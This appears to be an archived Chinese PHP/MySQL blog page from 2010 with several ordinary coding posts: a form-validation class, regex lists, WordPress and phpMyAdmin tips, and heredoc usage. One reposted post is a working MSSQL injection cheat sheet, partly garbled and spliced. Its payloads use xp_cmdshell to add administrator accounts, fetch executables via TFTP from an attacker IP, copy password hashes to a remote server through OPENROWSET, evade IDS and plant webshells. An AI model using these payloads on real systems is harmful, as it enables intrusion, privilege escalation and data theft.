“php mysql”目录存档

一个php处理表单验证类

2010年08月29日,星期日
热度:

PHP代码
<?php
class class_post
{
//验证是否为指定长度的字母/数字组合
function fun_text1($num1,$num2,$str)
{
Return (preg_match(“/^[a-zA-Z0-9]{“.$num1.”,”.$num2.”}$/”,$str))?true:false;
}
//验证是否为指定长度数字
function fun_text2($num1,$num2,$str)
{
return (preg_match(“/^[0-9]{“.$num1.”,”.$num2.”}$/i”,$str))?true:false;
}
//验证是否为指定长度汉字
function fun_font($num1,$num2,$str)
{
// preg_match(“/^[\xa0-\xff]{1,4}$/”, $string);
return (preg_match(“/^([\x81-\xfe][\x40-\xfe]){“.$num1.”,”.$num2.”}$/”,$str))?true:false;
}
//验证身份证号码
function fun_status($str)
{
return (preg_match(‘/(^([\d]{15}|[\d]{18}|[\d]{17}x)$)/’,$str))?true:false;
}
//验证邮件地址
function fun_email($str){
return (preg_match(‘/^[_\.0-9a-z-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,4}$/’,$str))?true:false;
}
//验证电话号码
function fun_phone($str)
{
return (preg_match(“/^((\(\d{3}\))|(\d{3}\-))?(\(0\d{2,3}\)|0\d{2,3}-)?[1-9]\d{6,7}$/”,$str))?true:false;
}
//验证邮编
function fun_zip($str)
{
return (preg_match(“/^[1-9]\d{5}$/”,$str))?true:false;
}
//验证url地址
function fun_url($str)
{
return (preg_match(“/^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\’:+!]*([^<>\"\"])*$/”,$str))?true:false;
}
// 数据入库 转义 特殊字符 传入值可为字符串 或 一维数组
function data_join($data)
{
if(get_magic_quotes_gpc() == false)
{
if (is_array($data))
{
foreach ($data as $k => $v)
{
$data[$k] = addslashes($v);
}
}
else
{
$data = addslashes($data);
}
}
Return $data;
}
// 数据出库 还原 特殊字符 传入值可为字符串 或 一/二维数组
function data_revert($data)
{
if (is_array($data))
{
foreach ($data as $k1 => $v1)
{
if (is_array($v1))
{
foreach ($v1 as $k2 => $v2)
{
$data[$k1][$k2] = stripslashes($v2);
}
}
else
{
$data[$k1] = stripslashes($v1);
}
}
}
else
{
$data = stripslashes($data);
}
Return $data;
}
// 数据显示 还原 数据格式 主要用于内容输出 传入值可为字符串 或 一/二维数组
// 执行此方法前应先data_revert(),表单内容无须此还原
function data_show($data)
{
if (is_array($data))
{
foreach ($data as $k1 => $v1)
{
if (is_array($v1))
{
foreach ($v1 as $k2 => $v2)
{
$data[$k1][$k2]=nl2br(htmlspecialchars($data[$k1][$k2]));
$data[$k1][$k2]=str_replace(“ ”,” ”,$data[$k1][$k2]);
$data[$k1][$k2]=str_replace(“\n”,”<br>\n”,$data[$k1][$k2]);
}
}
else
{
$data[$k1]=nl2br(htmlspecialchars($data[$k1]));
$data[$k1]=str_replace(“ ”,” ”,$data[$k1]);
$data[$k1]=str_replace(“\n”,”<br>\n”,$data[$k1]);
}
}
}
else
{
$data=nl2br(htmlspecialchars($data));
$data=str_replace(“ ”,” ”,$data);
$data=str_replace(“\n”,”<br>\n”,$data);
}
Return $data;
}
}
?>

PHP常用的正则表达式(转)

2010年08月29日,星期日
热度:

匹配中文字符的正则表达式: [u4e00-u9fa5]
评注:匹配中文还真是个头疼的事,有了这个表达式就好办了

匹配双字节字符(包括汉字在内):[^x00-xff]
评注:可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

匹配空白行的正则表达式:ns*r
评注:可以用来删除空白行

匹配HTML标记的正则表达式:<(S*?)[^>]*>.*?</1>|<.*? />
评注:网上流传的版本太糟糕,上面这个也仅仅能匹配部分,对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式:^s*|s*$
评注:可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式

匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*
评注:表单验证时很实用

匹配网址URL的正则表达式:[a-zA-z]+://[^s]*
评注:网上流传的版本功能很有限,上面这个基本可以满足需求

匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注:表单验证时很实用

匹配国内电话号码:d{3}-d{8}|d{4}-d{7}

字串1

评注:匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号:[1-9][0-9]{4,}
评注:腾讯QQ号从10000开始

匹配中国邮政编码:[1-9]d{5}(?!d)
评注:中国邮政编码为6位数字

匹配身份证:d{15}|d{18}
评注:中国的身份证为15位或18位

匹配ip地址:d+.d+.d+.d+
评注:提取ip地址时有用

匹配特定数字:
^[1-9]d*$    //匹配正整数
^-[1-9]d*$   //匹配负整数
^-?[1-9]d*$   //匹配整数
^[1-9]d*|0$  //匹配非负整数(正整数 + 0)
^-[1-9]d*|0$   //匹配非正整数(负整数 + 0)
^[1-9]d*.d*|0.d*[1-9]d*$   //匹配正浮点数
^-([1-9]d*.d*|0.d*[1-9]d*)$  //匹配负浮点数
^-?([1-9]d*.d*|0.d*[1-9]d*|0?.0+|0)$  //匹配浮点数
^[1-9]d*.d*|0.d*[1-9]d*|0?.0+|0$   //匹配非负浮点数(正浮点数 + 0)
^(-([1-9]d*.d*|0.d*[1-9]d*))|0?.0+|0$  //匹配非正浮点数(负浮点数 + 0)
评注:处理大量数据时有用,具体应用时注意修正

匹配特定字符串:
^[A-Za-z]+$  //匹配由26个英文字母组成的字符串 字串4
^[A-Z]+$  //匹配由26个英文字母的大写组成的字符串
^[a-z]+$  //匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$  //匹配由数字和26个英文字母组成的字符串
^w+$  //匹配由数字、26个英文字母或者下划线组成的字符串
评注:最基本也是最常用的一些表达式

改变wordpress的wp_list_categories()返回样式

2010年08月16日,星期一
热度:

wordpress 的wp_list_categories()样式选择

用wp_list_categories()来调用分类的时候,我们没有办法在这里选择元素所使用的独立的css样式,那怎么办呢?举例如下:

<?php echo preg_replace('@<li([^>]*)><a([^>]*)>(.*?)</a>@i', '<li$1><a$2><span>$3</span></a>', wp_list_categories('echo=0&orderby=name&exlude=181&title_li=&depth=1')); ?>

这里使用了preg_replace函数,在wp_list_categories用echo=0得到结果,交给preg_replace处理,而不是直 接显示出来。

这时我们就可以设置自己的css样式了!

修改PHPMyAdmin数据导入大小限制(转)

2010年07月14日,星期三
热度:

经常使用PHPMyAdmin将网站数据导入和导出,因为数据比较小,所以网站数据导入和导出都还比较顺利。

昨天从一个朋友那里拿到了一份休闲小游戏网站的数据,整个数据库就有几十M,用正常的方法使用PHPMyAdmin导入数据时,系统就提示文件太大,不能导入。

在网上搜索了下,先将几种解决PHPMyAdmin数据导入大小限制的方法记录如下:

我是本地测试的,环境是:Windows XP + Apache 2.2 + PHP 5 + MySQL 5

一,修改PHPMyAdmin的配置文件:config.inc.php

1),在PHPMyAdmin根目录下建立两个文件夹:Import,Export

2),在config.inc.php(66行左右)找到:

$cfg['UploadDir'] = ”;
$cfg['SaveDir'] = ”;

修改为:

$cfg['UploadDir'] = ‘Import’;
$cfg['SaveDir'] = ‘Export’;

保存。

3),将你需要导入的数据库文件复制粘贴到Import文件夹里。

4),登陆PHPMyAdmin系统,找到你想把数据导入的数据库,点击Import(导入),注意下图红色方框部分:

从下拉菜单里,你就可以看到你刚才复制粘贴到Import文件夹里的数据资料了,选中后,再对应选中下面的数据库格式,然后开始导入就行了。

二,修改PHP.ini文件:upload_max_filesize = 2M

PHP环境默认的上传大小是2M,如果你能操作PHP.ini文件,找到upload_max_filesize这段,然后将2M改成你想要的文件大小,再重启Apache,就可以解决PHPMyAdmin数据导入大小的限制了。

注意上下两图蓝色方框部分的内容变化.

以上两种方法都经过我在本地运行过并成功导入超大数据,如果在网上使用,请根据实际情况自行选择,或者联系你的空间提供商。

文章原创:MrMike.cn

文章地址:http://www.mrmike.cn/website-development/technology-developmet-tutorials/modify-data-import-limit-phpmyadmin/

让PHP支持页面回退支持填写的数据还有两种方法

2010年07月7日,星期三
热度:

在开发过程中,往往因为表单出错而返回页面的时候填写的信息都不见了,为了支持页面回跳,可以通过两种方法实现。
第一,使用Header方法设置消息头Cache-control
header(‘Cache-control: private, must-revalidate’); //支持页面回跳
第二,使用session_cache_limiter方法
//注意要写在session_start方法之前
session_cache_limiter(‘private, must-revalidate’);

PS:Cache-Control消息头域说明
Cache- Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh、only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、 proxy-revalidate、max-age。各个消息中的指令含义如下:
Public指示响应可被任何缓存区缓存。
Private指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效。
no-cache指示请求或响应消息不能缓存
no-store用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存。
max-age指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应。
min-fresh指示客户机可以接收响应时间小于当前时间加上指定时间的响应。
max-stale指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息。

常用的SQL注射语句解析(转)

2010年07月7日,星期三
热度:

aths(path)

values(@test)–

;use ku1;–

;create table cmd (str image);– 建立image类型的表cmd

存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell ‘dir’

;exec master.dbo.sp_addlogin jiaoniang$;– 加SQL帐号

;exec master.dbo.sp_password null,jiaoniang$,1866574;–

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;–

;exec master.dbo.xp_cmdshell ‘net user jiaoniang$ 1866574 /workstations:*

/times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ‘net localgroup administrators jiaoniang$

/add’;–

exec master..xp_servicecontrol ‘start’, ‘schedule’ 启动服务

exec master..xp_servicecontrol ‘start’, ‘server’

; DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC

SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add’

;DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC

SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net

localgroup administrators jiaoniang$ /add’

‘; exec master..xp_cmdshell ‘tftp -i youip get file.exe’– 利用TFTP上传文件

;declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ‘dir c:\’

;declare @a sysname set @a=’xp’+'_cm’+’dshell’ exec @a ‘dir c:\’

;declare @a;set @a=db_name();backup database @a to

disk=’你的IP你的共享目录bak.dat’

如果被限制则可以。

select * from openrowset(‘sqloledb’,'server’;'sa’;”,’select ”OK!” exec

master.dbo.sp_addlogin hax’)

查询构造:

Select * FROM news Where id=… AND topic=… AND …..

admin’and 1=(select count(*) from [user] where username=’victim’ and

right(left(userpass,01),1)=’1′) and userpass <>’

select 123;–

;use master;–

:a’ or name like ‘fff%’;– 显示有一个叫ffff的用户哈。

and 1<>(select count(email) from [user]);–

;update [users] set email=(select top 1 name from sysobjects where

xtype=’u’ and status>0) where name=’ffff’;–

;update [users] set email=(select top 1 id from sysobjects where xtype=’u’

and name=’ad’) where name=’ffff’;–

‘;update [users] set email=(select top 1 name from sysobjects where

xtype=’u’ and id>581577110) where name=’ffff’;–

‘;update [users] set email=(select top 1 count(id) from password) where

name=’ffff’;–

‘;update [users] set email=(select top 1 pwd from password where id=2)

where name=’ffff’;–

‘;update [users] set email=(select top 1 name from password where id=2)

where name=’ffff’;–

上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

通过查看ffff的用户资料可得第一个用表叫ad

然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666,

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+c

SQL注射语句

1.判断有无注入点

‘ ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。

and 1=(select count(*) from admin where len(*)>0)–

and 1=(select count(*) from admin where len(用户字段名称name)>0)

and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 错误

and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12

and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=’a') —猜解用户帐号的第一位

and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –

这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

服务器打的补丁=出错了打了SP4补丁

and 1=(select @@VERSION)–

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

and 1=(Select IS_SRVROLEMEMBER(‘sysadmin’))–

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

and ‘sa’=(Select System_user)–

and user_name()=’dbo’–

and 0<>(select user_name()–

看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND

name = ‘xp_cmdshell’)–

xp_cmdshell被删除,恢复,支持绝对路径的恢复

;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,'xplog70.dll’–

;EXEC master.dbo.sp_addextendedproc

‘xp_cmdshell’,'c:\inetpub\wwwroot\xplog70.dll’–

反向PING自己实验

;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec

sp_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号

;DECLARE @shell INT EXEC SP_OACreate ‘wscript.shell’,@shell OUTPUT EXEC

SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user

jiaoniang$ 1866574 /add’–

创建一个虚拟目录E盘:

;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod

@o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -

w “默认Web站点”

-v “e”,”e:\”‘–

访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod

@o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a

w3svc/1/ROOT/e +browse’

爆库 特殊技巧::%5c=’\’ 或者把/和\ 修改%5提交

如何得到SQLSERVER某个数据库中所有表的表名?

——————————————————————————–

用户表:

select name from sysobjects where xtype = ‘U’;

系统表:

select name from sysobjects where xtype = ‘S’;

所有表:

select name from sysobjects where xtype = ‘S’ or xtype = ‘U’;

——————————————————————————–

and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)–

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

dbid=6)

依次提交 dbid = 7,8,9…. 得到更多的数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 暴到一个表

假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name

not in (‘Admin’)) 来得到其他的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and

name=’admin’

and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)

得到一个admin的一个字段,假设为 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and

name not in

(‘id’,…)) 来暴出其他的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名

依次可以得到密码。。。。。假设存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and

dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U') 得到表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=’U’ and name

not in(‘Address’))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=’U’ and

name=’admin’ and uid>(str(id))) 判断id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));–

and (select top 1 swappass from swap)=1–

;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare

@test varchar(20) exec master..xp_regread @rootkey=’HKEY_LOCAL_MACHINE’,

@key=’SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\’,

@value_name=’/', values=@test OUTPUT insert into p

har(0×69)+char(0×73), 0xffff)–

insert into users values( 667,123,123,0xffff)–

insert into users values ( 123, ‘admin”–’, ‘password’, 0xffff)–

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and

status>0);–

这是将第一个表名更新到aaa的字段处。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and

status>0 and name<>’vote’);–

然后id=1552 and exists(select * from aaa where aaa>5)

读出第二个表,一个个的读出,直到没有为止。

读字段是这样:

;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));–

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));–

然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and

status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from

sysobjects where xtype=u and status>0 and name not in(‘table1′,’table2′,…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update 表名 set 字段=(select top 1 col_name(object_id(‘要查询的数据表名’),字段列如:1) [

where 条件]

绕过IDS的检测[使用变量]

;declare @a sysname set @a=’xp_’+'cmdshell’ exec @a ‘dir c:\’

;declare @a sysname set @a=’xp’+'_cm’+’dshell’ exec @a ‘dir c:\’

1、 开启远程数据库

基本语法

select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123′,

‘select * from table1′ )

参数: (1) OLEDB Provider name

2、 其中连接字符串参数可以是任何端口用来连接,比如

select * from OPENROWSET(‘SQLOLEDB’,

‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’, ‘select *

from table’

3.复制目标主机的整个数据库insert所有远程表到本地表。

基本语法:

insert into OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=123′,

‘select * from table1′) select * from table2

这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from table1′) select * from table2

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from _sysdatabases’)

select * from master.dbo.sysdatabases

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from _sysobjects’)

select * from user_database.dbo.sysobjects

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from _syscolumns’)

select * from user_database.dbo.syscolumns

复制数据库:

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from table1′) select * from database..table1

insert into

OPENROWSET(‘SQLOLEDB’,'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select

* from table2′) select * from database..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:

insert into OPENROWSET(‘SQLOLEDB’,

‘uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;’,'select * from

_sysxlogins’) select * from database.dbo.sysxlogins

得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp

‘;create table temp(id nvarchar(255),num1 nvarchar(255),num2

nvarchar(255),num3 nvarchar(255));–

‘;insert temp exec master.dbo.xp_availablemedia;– 获得当前所有驱动器

‘;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表

‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

获得所有子目录的目录树结构,并寸入temp表中

‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘type

c:\web\index.asp’;– 查看某个文件的内容

‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\’;–

‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘dir c:\ *.asp /s/a’;–

‘;insert into temp(id) exec master.dbo.xp_cmdshell ‘cscript

C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc’

‘;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

(xp_dirtree适用权限PUBLIC)

写入表:

语句1:and 1=(Select IS_SRVROLEMEMBER(‘sysadmin’));–

语句2:and 1=(Select IS_SRVROLEMEMBER(‘serveradmin’));–

语句3:and 1=(Select IS_SRVROLEMEMBER(‘setupadmin’));–

语句4:and 1=(Select IS_SRVROLEMEMBER(‘securityadmin’));–

语句5:and 1=(Select IS_SRVROLEMEMBER(‘securityadmin’));–

语句6:and 1=(Select IS_SRVROLEMEMBER(‘diskadmin’));–

语句7:and 1=(Select IS_SRVROLEMEMBER(‘bulkadmin’));–

语句8:and 1=(Select IS_SRVROLEMEMBER(‘bulkadmin’));–

语句9:and 1=(Select IS_MEMBER(‘db_owner’));–

把路径写到表中去:

;create table dirs(paths varchar(100), id int)–

;insert dirs exec master.dbo.xp_dirtree ‘c:\’–

and 0<>(select top 1 paths from dirs)–

and 0<>(select top 1 paths from dirs where paths not in(‘@Inetpub’))–

;create table dirs1(paths varchar(100), id int)–

;insert dirs exec master.dbo.xp_dirtree ‘e:\web’–

and 0<>(select top 1 paths from dirs1)–

把数据库备份到网页目录:下载

;declare @a sysname; set @a=db_name();backup database @a to

disk=’e:\web\down.bak’;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where

xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_name(object_id(‘USER_LOGIN’),1) from sysobjects)

参看相关表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=- wscript.shell example -=-

declare @o int

exec sp_oacreate ‘wscript.shell’, @o out

exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’

‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec

sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’–

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1

exec @ret = sp_oamethod @f, ‘readline’, @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, ‘readline’, @line out

end

declare @o int, @f int, @t int, @ret int

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘createtextfile’, @f out,

‘c:\inetpub\wwwroot\foo.asp’, 1

exec @ret = sp_oamethod @f, ‘writeline’, NULL,

declare @o int, @ret int

exec sp_oacreate ‘speech.voicetext’, @o out

exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’

exec sp_oasetproperty @o, ‘speed’, 150

exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel servers are belong

to,us’, 528

waitfor delay ’00:00:05′

‘; declare @o int, @ret int exec sp_oacreate ‘speech.voicetext’, @o out

exec sp_oamethod @o, ‘register’, NULL, ‘foo’, ‘bar’ exec sp_oasetproperty

@o, ‘speed’, 150 exec sp_oamethod @o, ‘speak’, NULL, ‘all your sequel

servers are belong to us’, 528 waitfor delay ’00:00:05′–

xp_dirtree适用权限PUBLIC

exec master.dbo.xp_dirtree ‘c:\’

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。

create table dirs(paths varchar(100), id int)

建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。

insert dirs exec master.dbo.xp_dirtree ‘c:\’

只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
http://news.newhua.com/news1/program_database/2010/76/107614413510JFK2FBGEH2A573KD4KH9H4KBJH7G7AJI30HF083GKCB_5.html?lt=common

echo <<< EOT print<<

2010年06月13日,星期日
热度:

echo <<< EOT print<<<EOT 用法详解echo可以同时输出多个字符串,并不需要圆括号。

print只可以同时输出一个字符串,需要圆括号。

print的用法和C语言很像,所以会对输出内容里的%做特殊解释。

echo无返回值,print()有返回值,当其执行失败(比如断线)时返回flase 。

echo可以多个参数,print一个参数。推荐用echo。

看下面的例子就能明白php中print <<<EOT是干什么用的了:

***********************

print <<<EOT

<html>

<head></head>

<body>

$value;

<img src=”$img”>

</body>

<html>

EOT;

************************

含义:

<<< 运算符,将由自定义分界符间的内容视为字符串,可对其间的变量做处理;

EOT 自定义分界符,结束时必须位于行首 不能有空格;

在同一页面中使用<<<标记

标记;

注:标记名为配对出现,同一页面中不允许同名出现两个以上标记名;

另:配对标记名的结尾标记名应单独一行,前后均不允许输出字符…(例如空格等不可见但存在的字符..)。

优点:这样可以输出大段的HTML 而且不用把里面的引号转义 就是不用 \” 这样自动替换里面的变量。

定界符文本表现的就和双引号字符串一样,只是没有双引号。这意味着在定界符文本中不需要转义引号,不过仍然可以用以上列出来的转义代码。变量会被展开,但当在定界符文本中表达复杂变量时和字符串一样同样也要注意。

字符串的特殊输入方式,也叫格式输入,不好用语言说明,举个例子你就知道了。

<?

$str=<<<EOT

string

string2

EOT;

$str1=”string\nstring2″;

if($str==$str1) echo “str==str1″;

?>

运行以上程序会输出str==str1.

好了,知道 <<<标记………………标记; 的用法了吧!

PHP zend framework 找不到controller的错误

2010年06月13日,星期日
热度:

刚开始接触zend framework ,新建了一个controller,名字是NewsController.php,可以在运行时,却报错,错误信息如下:

Fatal error: Uncaught exception ‘Zend_Controller_Dispatcher_Exception’ with message ‘Invalid controller specified (news)’ in E:\RWAPM\www\library\Zend\Controller\Dispatcher\Standard.php:242 Stack trace: #0 E:\RWAPM\www\library\Zend\Controller\Front.php(954): Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http), Object(Zend_Controller_Response_Http)) #1 E:\RWAPM\www\kxl\index.php(26): Zend_Controller_Front->dispatch() #2 {main} thrown inE:\RWAPM\www\library\Zend\Controller\Dispatcher\Standard.php on line 242

经过确认,应该是找不到Controller才报的错,但是NewsController确实存在呀,仔细一看才发现,文件名保存出错了,NewsController.php在NewsController后面多了一个空格,导致无法加载文件,文件改名后,问题解决。

赶紧记下来,如果有人遇到同样的问题,好有一个借鉴。

http://kxl361.blog.163.com/blog/static/342955320105139451861/

Php调用java说明(lajp实现)

2010年06月13日,星期日
热度:

LAJP名称含义

LAJP名称来源于著名的LAMP(Linux,Apache,Mysql,Php),LAMP是轻量级的开发Web程序的环境,在Internet上有广泛的应用,但对于企业开发,如金融、电信领域,LAMP显得能力不足,这些领域通常是Java(J2EE)的势力范围。LAJP是将LAMP的简便性和Java能力结合起来的一项技术,LAJP中的J指的是Java,由于数据库厂商对Java的广泛支持和LAJP针对的领域,数据库不再特别限制为Mysql。

特点

  • 优势互补: PHP是非常流行的WEB编程脚本语言,有易学、易用、开发部署效率高的特点,非常适合WEB开发;JAVA适合编写具有复杂的业务功能和数据的程序,二者结合可发挥各自优势,适合开发B/S企业程序。
  • 高效稳定:Apache+PHP组合可带来优异的WEB服务稳定性,而JAVA可补充如连接池、事物管理、分布式、对象模型等高端特性。
  • 创新的通信机制 PHP和Java间的通讯方式采用系统消息队列和Socket两种机制,同时兼顾通讯效率和平台兼容性。
  • 数据类型自动转换机制 PHP数据和Java数据可准确、自动匹配和转换。
  • 易用:LAJP安装配置简单,除了核心的几个Java类文件和Java JNI接口程序外,不需额外插件,PHP端和JAVA端编程符合各自的编程习惯。
  • 轻量级:LAJP架构非常轻量级,除了最基本的PHP和Java环境,不需要任何扩充的、第三方的组件。

LAMP和LAJP的简要对比

LAMP从传统技术架构上看属于2层结构,虽然在php5以后增强了面向对象的能力,有了形成业务逻辑层的语言基础,但对于复杂的企业级WEB应用,php语言能力仍显不足。LAJP继承了LAMP在WEB领域编程的活力,并用java构建业务逻辑层,非常适合针对企业级WEB项目的开发。

php和java的互通

